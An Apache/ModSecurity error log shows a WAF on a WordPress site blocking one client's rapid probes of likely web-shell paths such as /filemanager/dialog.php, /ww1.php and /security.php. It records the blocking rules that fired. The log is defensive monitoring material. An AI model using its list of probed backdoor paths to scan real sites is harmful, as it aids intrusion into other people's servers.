[Mon Mar 02 04:26:17.545467 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37749] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaSg6aVy2qpaelbUob3p6QAAAEs"]
[Mon Mar 02 04:26:18.274646 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37840] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaSg6v-JFLfishX45N_YRgAAAQU"]
[Mon Mar 02 04:26:18.998519 2026] [:error] [pid 31257:tid 31274] [client 20.104.124.39:37766] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaSg6v-JFLfishX45N_YTAAAAQs"]
[Mon Mar 02 04:26:19.615778 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:37680] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaSg64qJmC8ih_lQQnC56gAAAMw"]
[Mon Mar 02 04:26:20.327079 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:37705] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaSg7IqJmC8ih_lQQnC57QAAANE"]
[Mon Mar 02 04:26:21.395494 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:37740] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaSg7f-JFLfishX45N_YXgAAAQg"]
[Mon Mar 02 04:26:22.508918 2026] [:error] [pid 28795:tid 28878] [client 20.104.124.39:37573] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaSg7rROd53wZBkdI_fp1gAAAI8"]
[Mon Mar 02 04:26:23.119708 2026] [:error] [pid 28795:tid 28869] [client 20.104.124.39:37635] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaSg77ROd53wZBkdI_fp2gAAAIY"]
[Mon Mar 02 04:26:23.627728 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:37659] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaSg74qJmC8ih_lQQnC5-AAAAMA"]
[Mon Mar 02 04:26:24.371171 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37747] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaSg8IqJmC8ih_lQQnC6AQAAAM0"]
[Mon Mar 02 04:26:24.969701 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37822] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaSg8IqJmC8ih_lQQnC6BAAAANM"]
[Mon Mar 02 04:26:25.727773 2026] [:error] [pid 28793:tid 28826] [client 20.104.124.39:37657] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaSg8Q2_fxBANaHo1f7u8gAAABM"]
[Mon Mar 02 04:26:26.724347 2026] [:error] [pid 28795:tid 28867] [client 20.104.124.39:37690] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaSg8rROd53wZBkdI_fp4AAAAIQ"]
[Mon Mar 02 04:26:27.322635 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:37798] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaSg87ROd53wZBkdI_fp5AAAAIs"]
[Mon Mar 02 04:26:27.811812 2026] [:error] [pid 28795:tid 28873] [client 20.104.124.39:37637] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aaSg87ROd53wZBkdI_fp6AAAAIo"]
[Mon Mar 02 04:26:28.362093 2026] [:error] [pid 28793:tid 28830] [client 20.104.124.39:37669] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aaSg9A2_fxBANaHo1f7u-QAAABc"]
[Mon Mar 02 04:26:28.992134 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37717] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aaSg9IqJmC8ih_lQQnC6FwAAAMo"]
[Mon Mar 02 04:26:29.798907 2026] [:error] [pid 28793:tid 28820] [client 20.104.124.39:37585] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaSg9Q2_fxBANaHo1f7u_QAAAA0"]
[Mon Mar 02 04:26:31.466039 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:37668] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaSg94qJmC8ih_lQQnC6KQAAAM8"]
[Mon Mar 02 04:26:32.234978 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:37638] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaSg-IqJmC8ih_lQQnC6LwAAANU"]
[Mon Mar 02 04:26:33.040963 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:37748] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaSg-YqJmC8ih_lQQnC6NQAAANI"]
[Mon Mar 02 04:26:34.216936 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:37632] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaSg-oqJmC8ih_lQQnC6PQAAAMk"]
[Mon Mar 02 04:26:35.614339 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:37725] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aaSg-4qJmC8ih_lQQnC6RgAAAMc"]
[Mon Mar 02 04:26:37.367270 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:37577] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aaSg_YqJmC8ih_lQQnC6UQAAAMc"]
[Mon Mar 02 04:26:38.257924 2026] [:error] [pid 28793:tid 28813] [client 20.104.124.39:37643] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aaSg_g2_fxBANaHo1f7vAwAAAAY"]
[Mon Mar 02 04:26:39.943989 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:37786] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aaSg__-JFLfishX45N_YlwAAARg"]
[Mon Mar 02 04:26:40.590057 2026] [:error] [pid 28795:tid 28879] [client 20.104.124.39:37802] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaShALROd53wZBkdI_fqCQAAAJA"]
[Mon Mar 02 04:26:41.368590 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37590] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaShAf-JFLfishX45N_YpAAAARU"]
[Mon Mar 02 04:26:42.238004 2026] [:error] [pid 31257:tid 31280] [client 20.104.124.39:37660] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaShAv-JFLfishX45N_YsAAAARE"]
[Mon Mar 02 04:26:43.576305 2026] [:error] [pid 31257:tid 31280] [client 20.104.124.39:37746] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaShA_-JFLfishX45N_YvAAAARE"]
[Mon Mar 02 04:26:44.875588 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:37693] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaShBP-JFLfishX45N_YyAAAAQg"]
[Mon Mar 02 04:26:45.951565 2026] [:error] [pid 28795:tid 28873] [client 20.104.124.39:37694] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaShBbROd53wZBkdI_fqGwAAAIo"]
[Mon Mar 02 04:26:46.790845 2026] [:error] [pid 28795:tid 28885] [client 20.104.124.39:37642] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaShBrROd53wZBkdI_fqHgAAAJY"]
[Mon Mar 02 04:26:47.514519 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:37721] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaShB_-JFLfishX45N_Y3QAAAQ4"]
[Mon Mar 02 04:26:48.143885 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37576] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaShCP-JFLfishX45N_Y5AAAARc"]
[Mon Mar 02 04:26:49.367428 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:37523] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaShCf-JFLfishX45N_Y7QAAARg"]
[Mon Mar 02 04:26:50.300408 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37722] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaShCoqJmC8ih_lQQnC6dQAAANQ"]
[Mon Mar 02 04:26:51.257139 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37645] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaShC4qJmC8ih_lQQnC6gAAAAM0"]
[Mon Mar 02 04:26:52.315861 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37733] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaShDP-JFLfishX45N_Y-gAAAQQ"]
[Mon Mar 02 04:26:53.264150 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:37648] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaShDYqJmC8ih_lQQnC6jQAAAM8"]
[Mon Mar 02 04:26:54.256470 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37670] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaShDv-JFLfishX45N_ZCAAAARQ"]
[Mon Mar 02 04:26:55.048703 2026] [:error] [pid 28795:tid 28877] [client 20.104.124.39:37838] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaShD7ROd53wZBkdI_fqNQAAAI4"]
[Mon Mar 02 04:26:55.805590 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37587] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaShD_-JFLfishX45N_ZEwAAARQ"]
[Mon Mar 02 04:26:56.654137 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37640] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaShEP-JFLfishX45N_ZGgAAARM"]
[Mon Mar 02 04:26:57.475079 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37678] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaShEf-JFLfishX45N_ZIwAAARQ"]
[Mon Mar 02 04:26:58.213115 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:37650] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaShEoqJmC8ih_lQQnC6oAAAAMA"]
[Mon Mar 02 04:26:58.862983 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37661] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaShEoqJmC8ih_lQQnC6owAAAMo"]
[Mon Mar 02 04:26:59.449962 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:37671] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaShE_-JFLfishX45N_ZMgAAARA"]
[Mon Mar 02 04:27:00.359919 2026] [:error] [pid 28794:tid 28843] [client 20.104.124.39:37598] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaShFKVy2qpaelbUob3qHQAAAEc"]
[Mon Mar 02 04:27:01.154648 2026] [:error] [pid 28793:tid 28813] [client 20.104.124.39:37783] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaShFQ2_fxBANaHo1f7vEAAAAAY"]
[Mon Mar 02 04:27:01.881228 2026] [:error] [pid 31257:tid 31269] [client 20.104.124.39:37755] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaShFf-JFLfishX45N_ZPgAAAQY"]
[Mon Mar 02 04:27:02.604486 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37674] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaShFoqJmC8ih_lQQnC6rQAAAMU"]
[Mon Mar 02 04:27:03.672878 2026] [:error] [pid 28793:tid 28807] [client 20.104.124.39:37644] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaShFw2_fxBANaHo1f7vFQAAAAA"]
[Mon Mar 02 04:27:04.359445 2026] [:error] [pid 28793:tid 28809] [client 20.104.124.39:37620] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaShGA2_fxBANaHo1f7vFwAAAAI"]
[Mon Mar 02 04:27:04.904680 2026] [:error] [pid 28794:tid 28840] [client 20.104.124.39:37636] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaShGKVy2qpaelbUob3qPgAAAEQ"]
